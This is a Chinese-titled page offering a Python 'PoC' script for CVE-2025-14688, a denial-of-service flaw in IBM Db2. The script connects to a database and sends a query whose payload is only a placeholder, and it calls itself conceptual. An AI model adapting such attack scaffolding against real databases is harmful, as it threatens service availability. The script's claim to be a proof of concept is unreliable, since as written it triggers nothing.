CVE-2025-14688 IBM Db2 拒绝服务漏洞

# PoC for CVE-2025-14688: IBM Db2 Denial of Service # This is a conceptual demonstration. The specific payload requires knowledge of the vulnerable configuration. import ibm_db # Target configuration conn_str = "DATABASE=sample;HOSTNAME=localhost;PORT=50000;UID=db2inst1;PWD=password;" def trigger_dos(): try: # 1. Establish connection to the vulnerable Db2 instance conn = ibm_db.connect(conn_str, '', '') print("[+] Connected to IBM Db2") # 2. Craft a malicious query containing special elements # The special elements are not properly neutralized in certain configurations # leading to a crash or hang. # Example: A query with specific nested logic or special characters that the parser mishandles. malicious_query = "SELECT * FROM SYSIBM.SYSDUMMY1 WHERE '<SPECIAL_ELEMENT_PAYLOAD>' = '<SPECIAL_ELEMENT_PAYLOAD>'" print("[+] Sending malicious query...") # 3. Execute the query stmt = ibm_db.prepare(conn, malicious_query) ibm_db.execute(stmt) # If successful, the service may become unresponsive at this point. print("[!] Query executed. Database service may now be unavailable.") except Exception as e: print(f"[-] An error occurred: {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": trigger_dos()